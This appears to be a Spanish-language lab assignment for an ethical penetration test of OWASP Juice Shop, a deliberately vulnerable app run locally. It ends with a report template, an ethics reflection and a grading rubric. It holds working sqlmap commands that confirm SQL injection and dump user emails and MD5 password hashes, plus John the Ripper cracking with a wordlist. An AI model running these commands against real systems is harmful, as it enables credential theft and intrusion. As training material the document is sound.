🛡️ Pentest Ético sobre OWASP Juice Shop

🎯 Objetivo General

Realizar una auditoría de seguridad básica y documentada sobre el entorno vulnerable OWASP Juice Shop, simulando un escenario de hacking ético paso a paso.

🔍 Guía de Instalación de Herramientas

Estas herramientas se usarán desde Kali Linux:

1. Nmap

sudo apt update

sudo apt install nmap

nmap --version

2. Burp Suite

sudo apt update

sudo apt install burpsuite

burpsuite

3. SQLMap

sudo apt update

sudo apt install sqlmap

sqlmap

🧱 PASO A PASO SIMPLIFICADO

🛠️ Paso 1: Preparar el entorno

- Instalar Kali Linux en VirtualBox
- Descargar OWASP Juice Shop en Docker

docker run -d -p 3000:3000 bkimminich/juice-shop

Juice Shop estará en:

http://192.168.0.105:3000

(Sustituir con la IP de tu host)

📂 Paso 2: Verificar acceso al objetivo

nmap -p 3000 192.168.0.105

Resultado esperado: Puerto 3000 abierto.

👀 Paso 3: Confirmar vulnerabilidad SQLi

sqlmap -u "http://192.168.0.105:3000/rest/products/search?q=1" --batch --level=2

Resultado: Inyección confirmada en el parámetro q. Motor de base de datos: SQLite.

📃 Paso 4: Enumerar y extraer datos

4.1 Ver bases de datos

sqlmap -u "http://192.168.0.105:3000/rest/products/search?q=1" --batch --level=2 --dbs

4.2 Ver tablas de la base de datos

sqlmap -u "http://192.168.0.105:3000/rest/products/search?q=1" --batch --level=2 -D main --tables

4.3 Ver columnas de la tabla `Users`

sqlmap -u "http://192.168.0.105:3000/rest/products/search?q=1" --batch --level=2 -D main -T Users --columns

4.4 Extraer correos y contraseñas

sqlmap -u "http://192.168.0.105:3000/rest/products/search?q=1" --batch --level=2 -D main -T Users -C email,password --dump

Ejemplo de salida:

admin@juice-sh.op

0c36e517e3fa95aabf1bbffc6744a4ef

(Las contraseñas están hasheadas con MD5)

🤐 Paso 5: (Opcional) Crackear contraseñas

echo '0c36e517e3fa95aabf1bbffc6744a4ef' > hash.txt

john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

O usar webs como:

- https://crackstation.net/

📝 Paso 6: Generar Informe Técnico Automatizado

Crea un informe en `.pdf` o `.docx` que contenga:

- Descripción del entorno (Juice Shop, IP, herramientas usadas).
- Evidencias de hallazgos: capturas de pantalla, comandos y salidas relevantes.
- Tabla con detalles de las vulnerabilidades encontradas.
- Recomendaciones técnicas para mitigación.
- Nivel de criticidad de cada hallazgo.

🧠 Paso 7: Reflexión Ética y Profesional

Incluye en el informe una sección reflexiva que responda:

- ¿Cómo te aseguraste de no salir del entorno de pruebas?
- ¿Qué consideraciones éticas guiaste durante la ejecución?
- ¿Qué aprendiste sobre los riesgos reales de estas vulnerabilidades?
- ¿Qué impacto podrían tener si se detectan en un entorno productivo?

📁 Producto entregable: sección final del informe titulada *"Reflexión Ética y Profesional"*.

🧪 Evaluación Propuesta (máximo 10 puntos)

- **Cobertura técnica (2.5 pts):** Se identifican y prueban vectores reales.
- **Precisión y evidencia (2 pts):** Los resultados son claros y bien justificados.
- **Presentación del informe (2 pts):** El documento es profesional, coherente y útil.
- **Automatización (1.5 pts):** Se automatizaron partes del proceso (ej. uso de sqlmap por scripts).
- **Reflexión ética (1 pt):** Se demuestra comprensión de límites legales y éticos.
- **Uso de herramientas adecuadas (1 pt):** Herramientas relevantes y bien aplicadas.